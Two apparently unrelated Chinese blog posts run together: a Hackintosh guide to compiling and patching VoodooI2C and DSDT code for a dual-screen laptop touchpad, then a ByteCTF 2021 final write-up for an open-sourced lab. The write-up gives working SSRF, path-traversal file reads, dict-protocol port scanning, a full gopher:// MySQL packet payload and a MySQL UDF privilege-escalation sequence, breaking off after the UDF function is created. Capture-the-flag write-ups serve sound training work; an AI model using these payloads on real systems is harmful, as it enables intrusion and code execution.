点击「Product」-「Build」先编译一下,发现报错了,提示:'IOKit/IOLib.h' file not found
:
这个地方一开始卡了我很久,后面发现在项目的「Build Settings」里面的「Library Search Paths」里面的 MacKernelSDK
这个文件夹我并没有:
所以才会导致找不到 IOKit 的库文件,解决方法就是手动去补充完善 MacKernelSDK 的文件夹。
acidanthera 大佬维护的 MacKernelSDK 的一个开源项目地址为:https://github.com/acidanthera/MacKernelSDK
# 注意我当前操作的路径$ pwd ✔/Users/bytedance/Desktop/XCode/VoodooI2C# 直接下载这个项目$ git clone https://github.com/acidanthera/MacKernelSDK.git
此时再编译会发现之前的'IOKit/IOLib.h' file not found
报错消失了,这个问题得到了解决。
解决完上面一个小问题后,会发现又出了新的报错了:
'VoodooInputMultitouch/VoodooInputTransducer.h' file not found
不要慌,问题很大,这是因为项目里面缺少了对应的文件,也需要我们手动去补充一下。比较巧合的是,这个项目也是由acidanthera 大佬维护的 ,地址为:https://github.com/acidanthera/VoodooInput
将 VoodooInputMultitouch
文件拷贝到 VoodooI2C/Multitouch\ Support/Native 目录下:
此时再编译应该不会报错了。
不过总有人会各种不顺,还可能会遇到 xargs: cldoc: No such file or directory
或者 cpplint: command not found
这类报错,国光我这里忘记怎么解决的了,好像是直接安装 Python 的库来解决的:
sudo easy_install cldocsudo easy_install cpplint
貌似 macOS 12.3 开始移除了 Python2 了,就没有 easy_install命令, 我们可以使用 brew 命令来替代:
brew install cpplint
接着可能还遇到 cldoc 命令缺失的问题,除了安装对应的 cldoc 命令以外,还可以在项目里面直接移除掉:「Generate Documentation」部分:
具体更多细节忘记了,但是这块不复杂,既然都研究到 Xcode 编译这一步了,所以这个问题应该也难不倒大家的吧。
至此所有的报错都解决了,下面直接来编译生成 kexts 吧,首先点击 build
编译一下,很顺利:
然后点击「Product」接着点击「Archive」打包项目:
然后会弹出应该窗口,选择我们打包的最新版本,选择「Distribute Content」
后面默认选择「Build Products」即可:
最后桌面上就躺好了我们编译好的 kexts 文件了:
我们编译的 VoodooI2C.kext
的 Pluglns 不完整,里面是两个替身:
解决方法可以手动复制目录外面的 kext 进去,或者直接使用官方编译好的 VoodooI2C.kext
,不过这个问题不大,目前我手上的触控板主要关注 VoodooI2CHID.kext
这个文件就 OK 了。
既然可以编译官方项目了,那么下面得开始修改代码了,那么对于国光我这种信息安全从业者来说,直接改底层驱动代码的成功率几乎为 0,所以我在官方的项目提交了一个 issus:
这个 issus 一直没啥进展,官方也表示双屏设备很棘手,不会考虑支持,本以为就这样凉了。但是 3 个月过去了,issus 里面来了一个老哥 gvkt ,他和我一样也遇到这个问题,然后我就经常和他在 issus 里面交流,终于有一天找到了一个非常关键的原因:
然后我便如醍醐灌顶一般,顿悟了,由于这个 issus 比较长,我下面简单来概括一些这么长时间的发现吧:
既然知道问题代码所在了,那么下面尝试更改一下看看吧,主要修改了这个文件:https : //github.com/VoodooI2C/VoodooI2CHID/blob/master/VoodooI2CHID/VoodooI2CMultitouchHIDEventDriver.cpp
我的解决思路也比较简单,搜索 kHIDUsage_Dig_TouchScreen
关键词,删除相关代码即可。主要修改的部分如下。
删除 619 行的判断条件:
if (element->conformsTo(kHIDPage_Digitizer, kHIDUsage_Dig_Pen) || element->conformsTo(kHIDPage_Digitizer, kHIDUsage_Dig_TouchScreen) || element->conformsTo(kHIDPage_Digitizer, kHIDUsage_Dig_TouchPad) || element->conformsTo(kHIDPage_Digitizer, kHIDUsage_Dig_DeviceConfiguration) )
修改为:
if (element->conformsTo(kHIDPage_Digitizer, kHIDUsage_Dig_Pen)|| element->conformsTo(kHIDPage_Digitizer, kHIDUsage_Dig_TouchPad)|| element->conformsTo(kHIDPage_Digitizer, kHIDUsage_Dig_DeviceConfiguration))
没错这样就 OK 了,果然找到关键点的话,修改起来并没有很复杂,接着直接编译生成 VoodooI2CHID.kext ,完美!
不过虽然代码里面删除了触屏的部分代码了,但是最终生成的 VoodooI2CHID.kext/Contents/info.plist
文件里面的触控部分也要删掉,否则依然无法成功驱动触控板,主要删除下面这部分代码即可:
<key>VoodooI2CHIDDevice Touchscreen HID Event Driver</key><dict> ...</dict>
即删除下面的这部分:
最终这种双屏触控板完美支持多指手势了,体验上和 Macbook 真的有的一拼,真的如丝般顺滑:
大家也发现了,最终驱动本触控板的主要原理是删除了触控屏的相关代码,虽然在本次的笔记本上工作比较良好,但是如果存在像下面这种多屏幕的设备该怎么让触控屏和触控板完美工作呢(这个本本下面这个触控屏也是 GDX1515):
虽然目前 VoodooI2C 官方没有解决这个问题,但是 gvkt 老哥单独开了个分支用于解决这类问题,详情可见他的项目:
https://github.com/gvkt/VoodooI2CHID
下面是他具体修改的 Commit 记录,感兴趣的师傅可去研究手动编译下看看效果:
https://github.com/gvkt/VoodooI2CHID/commit/d305a0e0913736d88a43d5c3c18ec7b8ec728c75
目前为止这个触控板就完美了吗?当然不是,当前触控板工作在轮询模式(polling)下,比较完美的情况是让触控板工作在中断模式(interrupts)下,关于轮询和中断可以参考下面几个概念:
2F (47)
的时候才支持那我们目前的触控板工作在啥模式情况下呢?通过前面的信息收集,我们知道触控板的 APIC Pin 值为:
0x0000006D (109)
6d(109)
很明显,这个 GDX1515 触控板是不支持 APIC 中断的。那么如何判断当前触控板的工作模式呢?目前有下面 3 种方法
顺利的情况下使用 dmesg 命令可以直接根据触控板型号的关键词可以搜索到中断还是轮询的工作状态:
但是黑苹果总不会一帆风顺的,正如你所见,dmesg 查看的日志结果为空的,这里面可能有两种原因:
以上两种原因,纯属国光猜测,不管如何这里需要我们手动加载 kexts 来查看日志。
很多 OC 的配置默认是开启 SIP 的,因为我们要加载未签名的 Kexts,所以需要在开机选择系统的界面手动切换下 SIP 状态:
如果你的 OC 没有这个选项,是因为没有勾选这个配置开关,具体细节可以参考我的这部分文章:国光的黑苹果安装教程:手把手教你配置 OpenCore
通过 OpenCore 注入的 kexts 是无法正常看到 dmesg 日志的,所以我们需要手动禁用下相关的 kexts:
将 VoodooI2C.kext
和 VoodooI2CHID.kext
拷贝到桌面上,然后执行以下命令:
# 修改所有者sudo chown -R root:wheel VoodooI2C*# 修改权限sudo chmod -R 755 VoodooI2C*# 加载 kextssudo kextload -v VoodooI2C*
当然第一次加载 kexts 得在设置的「安全性与隐私」里面同意下权限,然后重启下电脑才可以成功加载:
经过上述折腾,最终查看的效果如下:
可以看到通过 dmesg 日志可以发现此 GDX1515 触控板工作在 polling 模式下,即轮询模式。
关于日志的查看细节,下面会单独开个子目录详细介绍。
上面的方法可能有点繁琐,实际上使用IORegistryExplorer也是直接看到当前触控板的工作状态的,因为在 Windows 的设备管理器下我的触控板的位置路径为:
ACPI(_SB)#ACPI(PCI0)#(I2C1)#ACPI(ETPD)
ACPI(_SB)#ACPI(USBX)#(I2C1)#ACPI(ETPD)
所以搜索 ETPD
可以看到我们触控板的详细信息,一般会搜索出两个结果,下面是第一个结果:
不过第一个结果没有参考价值,我们一般关注搜索出来的第 2 个结果:
像上面这个图就是一个典型的没有工作在中断模式的情况。
这个时候肯定有网友会问,如果是 GPIO 中断模式的话,那这里应该长啥样子呢?
2333 这个问题问的不错,国光请教了 Bat.bat 大佬,下面是大佬的原话:
代码里走到 GPIO 会有个 set property 把 IRQ 和 Pin 写到 ioreg 下,所以使用 IORegistryExplorer 查看的话,关注是否有这两个新增的属性即可。
说到这里可能还有网友不是很明白,下面国光我帖一个处于 GPIO 中断模式下的 IORegistryExplorer 截图,大家应该就懂了:
除了上述两种方法,使用GenI2C 也是可以很方便的查看触控板的工作状态的:
不过作者貌似删掉了编译好的版本了,大家如果需要使用的话可以蓝奏云自取。
后面研究 GPIO 中断的时候发现,GenI2C 识别的工作模式 很容易误报,这也可能是作者删除项目的主要原因吧。
再后面发现,这个项目居然还是 Bat.bat 大佬写的:跟大狗子一起玩的,随便乱写的,当学 Swift 的。所以这个项目被作者删了,233333
新的风暴已经出现,怎么能够停滞不前? 既然知道当前的触控板不是处于 GPIO 中断模式的话,那么下面就来着手研究如何让触控板在中断模式下工作了。
因为制作触控板肯定是需要定制 SSDT 的,所以提取出主板原始的 DSDT 少不了。
提取 DSDT 的方法有很多,可以使用 Clover,Windows 下可以使用 AIDA64,macOS 下可以使用 DPCIManager ,直接打开点击左上角的「Extract DSDT」即可:
可以使用 OC 直接在 ACPI 里面加载 DSDT,也可以将 DSDT 里面触控板的相关代码单独提取出来,保存为 SSDT 文件。两个方法都可以,这里国光我是直接在 DSDT 这里修改的(简单粗暴)。
DSDT 排错的话这里要使用必备的 MaciASL 这个软件,直接点击「Compile」编译即可,如果没猜错的话肯定会有一堆报错:
这是因为每家主板的 DSDT 的 ACPI 规范不统一,所以我们得根据自己的编程经验去修改报错,这块不太好写文章描述出来,因为每个主板都不一样,国光我这里的报错还算比较容易理解,我直接删掉了这些
Zero` 代码即可,23333(具体排错得根据对应报错情况来)
最终成功 0 errors 了:
DSDT 没问题的话就可以直接使用 OC 加载了:
因为根据前面的信息收集,我们知道了触控板的路径为 ETPD
,所以直接搜索 ETPD 即可找到触控板的代码,
发现左下角的路径也满足我们上面信息收集(ACPI(_SB)#ACPI(PCI0)#(I2C1)#ACPI(ETPD)
)的情况:
下面将触控板的代码部分贴出来:
Scope (_SB.PCI0.I2C1) { Device (ETPD) { Name (_ADR, One) // _ADR: Address Name (ETPH, Package (0x01) { "ASUE1407" }) Name (FTPH, Package (0x09) { "FTE1001", "FTE1200", "FTE1200", "FTE1300", "FTE1300", "FTE1201", "FTE1200", "FTE1200", "FTE1200" }) Name (GTPH, Package (0x05) { "GDX1505", "GDX1300", "GDX1200", "GDX1301", "GDX1515" }) Method (_HID, 0, NotSerialized) // _HID: Hardware ID { If (And (TPDI, 0x04)) { Return (DerefOf (Index (ETPH, TPHI))) } If (And (TPDI, 0x10)) { Return (DerefOf (Index (FTPH, TPHI))) } If (And (TPDI, 0x40)) { Return (DerefOf (Index (GTPH, TPHI))) } Return ("ELAN1010") } Name (_CID, "PNP0C50") // _CID: Compatible ID Name (_UID, One) // _UID: Unique ID Name (_S0W, 0x03) // _S0W: S0 Device Wake State Method (_DSM, 4, NotSerialized) // _DSM: Device-Specific Method { If (LEqual (Arg0, ToUUID ("3cdff6f7-4267-4555-ad05-b30a3d8938de") /* HID I2C Device */)) { If (LEqual (Arg2, Zero)) { If (LEqual (Arg1, One)) { Return (Buffer (One) { 0x03 }) } Else { Return (Buffer (One) { 0x00 }) } } If (LEqual (Arg2, One)) { Return (One) } } Else { Return (Buffer (One) { 0x00 }) } } Method (_STA, 0, NotSerialized) // _STA: Status { If (LOr (LNotEqual (TPIF, One), LAnd (DSYN, One))) { Return (Zero) } Return (0x0F) } Method (_CRS, 0, Serialized) // _CRS: Current Resource Settings { Name (SBFI, ResourceTemplate () { I2cSerialBusV2 (0x0015, ControllerInitiated, 0x00061A80, AddressingMode7Bit, "\\_SB.PCI0.I2C1", 0x00, ResourceConsumer, , Exclusive, ) Interrupt (ResourceConsumer, Level, ActiveLow, Exclusive, ,, ) { 0x0000006D, } }) Return (SBFI) } } }}
国光这里只介绍如何定制 GPIO 中断,轮询和其他模式不在本文的范畴内。
根据_CRS
方法这个特征,我们可以很容易直找到触控板代码中类似如下的代码片段:
Method (_CRS, 0, Serialized) // _CRS: Current Resource Settings{ Name (SBFI, ResourceTemplate () { I2cSerialBusV2 (0x0015, ControllerInitiated, 0x00061A80, AddressingMode7Bit, "\\_SB.PCI0.I2C1", 0x00, ResourceConsumer, , Exclusive, ) Interrupt (ResourceConsumer, Level, ActiveLow, Exclusive, ,, ) { 0x0000006D, } }) Return (SBFI)}
VoodooI2C 在以 GPIO 中断模式调用 DSDT 中触摸设备的_CRS 方法时,一律使用 SBFG
参数而不是 SBFI
参数。所以我们目前的触控板代码里面的 SBFI
变量是不满足要求的,我们先把 SBFI
重命名为 SBFB
,至于 SBFG
变量我们后面单独添加一下(如果你的 DSDT 里面没有的话)。
Method (_CRS, 0, Serialized) // _CRS: Current Resource Settings{ Name (SBFB, ResourceTemplate () { I2cSerialBusV2 (0x0015, ControllerInitiated, 0x00061A80, AddressingMode7Bit, "\\_SB.PCI0.I2C1", 0x00, ResourceConsumer, , Exclusive, ) // Interrupt (ResourceConsumer, Level, ActiveLow, Exclusive, ,, ) // { // 0x0000006D, // } }) Return (SBFB)}
重命名后移除 _CRS
方法中的以下内容(即上面代码注释的部分):
Interrupt (ResourceConsumer, Level, ActiveLow, Exclusive, ,, ){ 0x0000006D,}
在触控板的代码中寻找类似如下的代码片段:
Name (SBFG, ResourceTemplate (){ GpioInt (Level, ActiveLow, ExclusiveAndWake, PullDefault, 0x0000, "\\_SB.PCI0.GPI0", 0x00, ResourceConsumer, ,) { // Pin list 0x0000 }})
如果找到的话,那么恭喜你,你的设备可能都不需要计算 GPIO Pin 值。没有找到也没有关系,我们可以手动添加,具体参考下面内容。
很明显我的触控板搜索不到 GPIO 相关的代码,所以我们需要复制上面的代码片段,将其添加到 _CRS 方法下面:
Method (_CRS, 0, Serialized) // _CRS: Current Resource Settings{ Name (SBFB, ResourceTemplate () { I2cSerialBusV2 (0x0015, ControllerInitiated, 0x00061A80, AddressingMode7Bit, "\\_SB.PCI0.I2C1", 0x00, ResourceConsumer, , Exclusive, ) }) // 下面是新增的 GPIO 模板代码片段 Name (SBFG, ResourceTemplate () { GpioInt (Level, ActiveLow, ExclusiveAndWake, PullDefault, 0x0000, "\\_SB.PCI0.GPI0", 0x00, ResourceConsumer, , ) { // Pin list 0x0000 // 这个值 我们待会要计算一下 } }) Return (SBFB)}
因为我们 _CRS
方法里面还引入了 SBFG 变量,所以得将默认的 Return (SBFB)
返回值修改为:
Return (ConcatenateResTemplate (SBFB, SBFG))
Bat.bat 大佬原话:有 gpioint 的设备不用算 pin,没有的加上也基本上不可能成功,算 pin 其实是最后死马当活马医的方案。
我们上面添加的模板中,GPIO Pin 值为 0x0000
,这个一般是跑不起来的,只能起占位的作用,所以需要计算一个正确的 GPIO 值。这一步比较关键,不同的 CPU 有不同的计算公式,下面的这个公式也是 Bat.bat 大佬提供的:
If APICPIN > 47 And APICPIN <= 79 Then GPIOPIN = APICPIN - 24 GPIOPIN2 = APICPIN + 72 ElseIf APICPIN > 79 And APICPIN <= 119 Then GPIOPIN = APICPIN - 24End If
If APICPIN > 47 And APICPIN <= 71 Then GPIOPIN = APICPIN - 16 GPIOPIN2 = APICPIN + 240 If APICPIN > 47 And APICPIN <= 59 Then GPIOPIN3 = APICPIN + 304 ElseIf APICPIN > 71 And APICPIN <= 95 Then GPIOPIN = APICPIN - 8 GPIOPIN3 = APICPIN + 152 GPIOPIN2 = APICPIN + 120 ElseIf APICPIN > 95 And APICPIN <= 119 Then GPIOPIN = APICPIN If APICPIN > 108 And APICPIN <= 115 Then GPIOPIN2 = APICPIN + 20 End If
If APICPIN > 47 And APICPIN <= 71 Then GPIOPIN = APICPIN - 16 GPIOPIN2 = APICPIN + 80 ElseIf APICPIN > 71 And APICPIN <= 95 Then GPIOPIN2 = APICPIN + 184 GPIOPIN = APICPIN + 88 ElseIf APICPIN > 95 And APICPIN <= 119 Then GPIOPIN = APICPIN ElseIf APICPIN > 108 And APICPIN <= 115 Then GPIOPIN2 = APICPIN - 44 End If
我的笔记本 CPU 是 i7-10510U
,属于 Comet Lake 的低压 CPU,会发现上述公式并没有 Comet Lake 系列的,不过 Bat.bat 大佬说 10 代就是 8 代的马甲,所以使用 CoffeeLake-LF 和 Whiskylake 公式即可,带入公式可计算出我们的 GPIO Pin 的十进制:
我们的 APICPIN 的 16进制为 6d,转换为 10 进制为 109,满足公式如下条件:
ElseIf APICPIN > 95 And APICPIN <= 119 Then GPIOPIN = APICPIN // GPIOPIN = 109
即 GPIOPIN = 109,转换为 16 进制就是 6d
同时会发现我们的 APICPIN 也满足如下条件:
ElseIf APICPIN > 108 And APICPIN <= 115 Then GPIOPIN2 = APICPIN - 44 // GPIOPIN2 = 109 - 44 = 65
即GPIOPIN = 65,转换为 16 进制就是 41
可以看到我们算出了 2 个值,分别是 6d
和41
,得一个个尝试去验证就可以了。
在极少数情况下,计算出来的 GPIO Pin 值不起作用。在这种情况下,你可以尝试一些常见的值:
0x17
,0x1B
,0x34
和0x55
。
最终国光尝试了我的这个 GDX1515 触控板的 GPIO Pin 值为 6d
:
放一个贴图,这样大家看起来应该会比较直观一点。
使用IORegistryExplorer 可以看到我们的这个 GDX1515 冷门小众的触控板终于工作在 GPIO 中断模式下了,可以看到出现了 gpioPin
和 gpioIRQ
属性值,完美:
再来看下 dmesg 的日志情况:
# 发现了 GDX1515 的 I2C 协议的触控板[ 44.313108]: VoodooI2CControllerDriver::pci8086,2e9 Found I2C device: GDX1515# ETPD 发现了有效的 _CRS 方法[ 44.313178]: VoodooI2CDeviceNub::ETPD Found valid resources from _CRS method[ 44.313182]: VoodooI2CControllerDriver::pci8086,2e8 Got bus configuration values[ 44.313231]: VoodooI2CDeviceNub::ETPD Returned index 0x0 from _DSM or XDSM method is not supported[ 44.313235]: VoodooI2CDeviceNub::ETPD Could not retrieve resources from _DSM or XDSM method# ETPD 发现了有效的 GPIO 中断[ 44.313244]: VoodooI2CDeviceNub::ETPD Found valid GPIO interrupts[ 44.313344]: VoodooI2CControllerDriver::pci8086,2e8 Publishing device nubs# ETPD 得到 GPIO 控制器[ 44.313347]: VoodooI2CDeviceNub::ETPD Got GPIO Controller! VoodooGPIOCannonLakeLP[ 44.816012]: VoodooI2CHIDDevice:0x100000738 start# GDX1515 设备启动的重置完成[ 44.919729]: VoodooI2CHIDDevice::GDX1515 Device initiated reset accomplished[ 45.050029]: VoodooI2CHIDDevice:0x100000738 creating interfaces[ 45.051068]: VoodooI2CHIDDevice:0x100000738 Matching has vendor DeviceUsagePage : ff0c bundleIdentifier com.apple.AppleUserHIDDrivers ioclass AppleUserHIDEventService but transport and vendorID is missing[ 45.053582]: VoodooI2CPrecisionTouchpadHIDEventDriver:0x10000073d start[ 45.059693]: open by VoodooI2CPrecisionTouchpadHIDEventDriver 0x10000073d (0x0)# GDX1515 进入 Precision Touchpad Mode (PTP)模式,即高精度触控板模式[ 45.059739]: VoodooI2CPrecisionTouchpadHIDEventDriver::GDX1515 Putting device into Precision Touchpad Mode
从日志中也可以看到完美工作了,工作在 GPIO 中断模式下。
为了有对比,下面再附上没有工作在 GPIO 中断模式下的日志情况:
[ 48.517816]: VoodooI2CControllerDriver::pci8086,2e9 Found I2C device: GDX1515[ 48.517869]: VoodooI2CDeviceNub::ETPD Found valid resources from _CRS method[ 48.517913]: VoodooI2CDeviceNub::ETPD Returned index 0x0 from _DSM or XDSM method is not supported[ 48.517917]: VoodooI2CDeviceNub::ETPD Could not retrieve resources from _DSM or XDSM method# ETPD 警告,发现了不兼容的 APIC pin 值 6d,它是大于 2f 的[ 48.517925]: VoodooI2CDeviceNub::ETPD Warning: Incompatible APIC interrupt pin (0x6d > 0x2f)# ETPD 找不到任何 APIC 或 GPIO 中断。 您可能将在轮询模式下运行。[ 48.517931]: VoodooI2CDeviceNub::ETPD Warning: Could not find any APIC nor GPIO interrupts. Your chosen satellite will run in polling mode if implemented.[ 48.519529]: VoodooI2CHIDDevice:0x100000725 start# GDX1515 无法获取中断事件源,改用轮询模式[ 48.519539]: VoodooI2CHIDDevice::GDX1515 Warning: Could not get interrupt event source, using polling instead[ 48.722472]: VoodooI2CHIDDevice::GDX1515 Device initiated reset accomplished[ 48.854707]: VoodooI2CHIDDevice:0x100000725 creating interfaces[ 48.856351]: VoodooI2CHIDDevice:0x100000725 Matching has vendor DeviceUsagePage : ff0c bundleIdentifier com.apple.AppleUserHIDDrivers ioclass AppleUserHIDEventService but transport and vendorID is missing[ 48.860549]: VoodooI2CPrecisionTouchpadHIDEventDriver:0x10000072a start[ 48.866671]: open by VoodooI2CPrecisionTouchpadHIDEventDriver 0x10000072a (0x0)# GDX1515 进入 Precision Touchpad Mode (PTP)模式,即高精度触控板模式[ 48.866716]: VoodooI2CPrecisionTouchpadHIDEventDriver::GDX1515 Putting device into Precision Touchpad Mode
[ 37.835221]: VoodooI2CControllerDriver::pci8086,2e9 Found I2C device: GDX1515[ 37.835266]: VoodooI2CDeviceNub::ETPD Found valid resources from _CRS method[ 37.835298]: VoodooI2CDeviceNub::ETPD Returned index 0x0 from _DSM or XDSM method is not supported[ 37.835306]: VoodooI2CDeviceNub::ETPD Could not retrieve resources from _DSM or XDSM method[ 37.835309]: KextLog: AuxKC bundle com.alexandred.VoodooI2CServices marked as loadable# ETPD 发现了有效的 GPIO 中断[ 37.835312]: VoodooI2CDeviceNub::ETPD Found valid GPIO interrupts[ 37.835408]: VoodooI2CDeviceNub::ETPD Got GPIO Controller! VoodooGPIOCannonLakeLP[ 38.337232]: VoodooI2CHIDDevice:0x100000761 start# 无法获取 GPIO 引脚的硬件引脚 81(错误的 GPIO Pin 的10进制),无法获取中断事件源,改用轮询[ 38.337263]: VoodooGPIOCannonLakeLP::Failed getting hardware pin for GPIO pin 81VoodooI2CHIDDevice::GDX1515 Warning: Could not get interrupt event source, using polling instead[ 38.539715]: VoodooI2CHIDDevice::GDX1515 Device initiated reset accomplished[ 38.670485]: VoodooI2CHIDDevice:0x100000761 creating interfaces[ 38.672136]: VoodooI2CHIDDevice:0x100000761 Matching has vendor DeviceUsagePage : ff0c bundleIdentifier com.apple.AppleUserHIDDrivers ioclass AppleUserHIDEventService but transport and vendorID is missing[ 38.676469]: VoodooI2CPrecisionTouchpadHIDEventDriver:0x100000766 start[ 38.682612]: open by VoodooI2CPrecisionTouchpadHIDEventDriver 0x100000766 (0x0)# GDX1515 进入 Precision Touchpad Mode (PTP)模式,即高精度触控板模式[ 38.682668]: VoodooI2CPrecisionTouchpadHIDEventDriver::GDX1515 Putting device into Precision Touchpad Mode
双屏笔记本真的很帅,等我最近做一期视频记录一下,到时候也又可以去 B 站水了:
感谢 Github 上面国外的路人网友 gvkt,我本来都要放弃这个触控板的,都是因为他的坚持探索,才给我了希望,黑苹果指路人!
本教程的触控板中断部分,也请教了 Bat.bat 大佬,大佬给予了许多帮助,给我科普了很多网上搜索不到的姿势,这让我对黑苹果下触控板的工作模式理解更加透彻一点了,雀氏牛皮!
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>这道题实际上在初赛前就出好了,但是没想到被选到了线下决赛了,正好前几天决赛打完了,所以就顺便开源了这道题目,顺便来水一篇文章,证明一下我这个博客还活着。
靶场目前已经开源了,项目地址为:https://github.com/sqlsec/ByteCTF2021-Final-SEO
因为使用 docker-compose 部署的,所以简单几条命令就可跑起来了:
git clone https://github.com/sqlsec/ByteCTF2021-Final-SEO.gitcd ByteCTF2021-Final-SEO/Dockerfiledocker-compose up -d
默认占用外网的 80 端口,内网的网段为 172.73.23.1/24,如有冲突请自行更改。
跑起来的界面如下:
一不小心吹得有点多了,直接丢 WP 吧:
估计设置了一些干扰的接口,贴近真实场景,毕竟真实场景中哪有这么多漏洞呀:
POST /api/alexa.php HTTP/1.1domain=www.sqlsec.com
返回包:
{"rank":533579,"cate":"\u79d1\u6280\u6570\u7801","res":"d3d3LnNxbHNlYy5jb20="}
POST /api/social.php HTTP/1.1domain=www.sqlsec.com
返回包:
{"date":"6\u5e746\u670820\u5929","mail":"ce071@doamin.bytedance.com"}
POST /api/icp.php HTTP/1.1domain=www.sqlsec.com
返回包:
{"icp":"\u9c81ICP\u590799918846\u53f7-3","name":"\u738b\u78ca","kind":"\u4e2a\u4eba","res":"d3d3LnNxbHNlYy5jb20="}
POST /api/icp.php HTTP/1.1domain=www.sqlsec.com
返回包:
{"icp":"\u9c81ICP\u590799918846\u53f7-3","name":"\u738b\u78ca","kind":"\u4e2a\u4eba","res":"d3d3LnNxbHNlYy5jb20="}
POST /api/speed.php HTTP/1.1domain=www.sqlsec.com
返回包:
{"speed":67,"score":0.6,"res":"d3d3LnNxbHNlYy5jb20="}
GET /api/random.php?domain=www.sqlsec.com HTTP/1.1
返回包:
{"domain1":"w2cf.bytedance.com","speed1":83,"score1":"\u5feb","style1":"text-success","domain2":"nyv.bytedance.com","speed2":69,"score2":"\u4e2d","style2":"text-info","domain3":"t0zj.bytedance.com","speed3":93,"score3":"\u5feb","style3":"text-success","domain4":"qj1.bytedance.com","speed4":63,"score4":"\u4e2d","style4":"text-info","domain5":"29.bytedance.com","speed5":33,"score5":"\u826f","style5":"text-warning","res":"d3d3LnNxbHNlYy5jb20="}
…… 还有一些干扰参数接口不一一列举了。
真正存在漏洞的接口为:
POST /api/ip.php HTTP/1.1Host: 10.85.113.212Content-Length: 21domain=www.sqlsec.com
返回包:
{"ip":"domain","title":"\u56fd\u5149","res":"{curl 请求返回的原始数据内容的 Base64 编码}"}
实际上其他接口的数据都是随机传递的,但是通过网站前台的功能:
可以看到正常获取了网站标题和 IP 地址,所以选手根据这个特征,在这个页面去抓包应该也可以很容易找到存在 SSRF 漏洞的接口的。
这个接口的域名存在格式校验:
实际上这个只是浏览器前端 JS 校验,所以直接抓包在 BP 下面发 payload 即可绕过。
直接通过 domain=file:///etc/hosts
file 协议去请求的话,并拿不到结果(后端过滤了 file 协议):
所以得去网站前台找漏洞,从前台发现「查看词库」会触发词库的下载:
找到下载的接口:
GET /api/word.php?src=/etc/passwd HTTP/1.1
发现直接通过 /etc/passwd
这种全路径并不难直接下载文件(后端使用目录拼接了)
但是可以通过../../../../../etc/passwd
这种路径穿越的格式下载服务器上任意文件:
通过 /etc/hosts
文件, 可以判断当前的内网网段为:172.73.23.1/24
也可以通过 proc/net/arp
文件,判断当前的内网的网关为:172.73.23.1
,而且可以直接发现内网中的另一个 IP 资产为:172.73.23.100
这样就省去一个个探测消耗的时间了。
内网常见可探测的端口有:21、22、23、80、3306、6379、8080 等,通过上面知道内网的网段为:172.73.23.1/24
,那么下面使用 SSRF 的漏洞接口,配合 dict 协议来对内网资产进行下资产探测:
发现内网资产:172.73.23.100 开放着 3306 端口,接下来重点是使用 SSRF 去攻击这个 MySQL 服务。
mysql -uroot -h 127.0.0.1 -e "select user(),version();"
本地 tcpdump 监听拿到传输数据包:
转换为原始的数据流,再转换为 goher 协议如下:
gopher://172.73.23.100:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%35%30%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%18%00%00%00%03%73%65%6c%65%63%74%20%75%73%65%72%28%29%2c%76%65%72%73%69%6f%6e%28%29%01%00%00%00%01
URL 二次编码后如下:
gopher://172.73.23.100:3306/_%25a1%2500%2500%2501%2585%25a2%253f%2500%2500%2500%2500%2501%2508%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2564%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2503%2535%2530%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2536%252e%2535%2531%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%2518%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2575%2573%2565%2572%2528%2529%252c%2576%2565%2572%2573%2569%256f%256e%2528%2529%2501%2500%2500%2500%2501
成功拿到了当前的用户和版本信息:
证明内网的 MySQL 是没有密码的。
同理寻找 MySQL 的插件目录:
mysql -uroot -h127.0.0.1 -e "show variables like '%plugin%';"
拿到插件目录为:
/usr/lib/mysql/plugin/
通过 UDF 辅助提权 快速 copy payload 本地进行流量复现,构造最终的 payload 进行插件写入:
mysql -uroot -h127.0.0.1 -e "SELECT 0x7f454c4602010100000000000000000003003e0....0000001815200000...0000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"
mysql -uroot -h127.0.0.1 -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
这个创建函数实际上没有响应,但是实际上已经创建成功了。
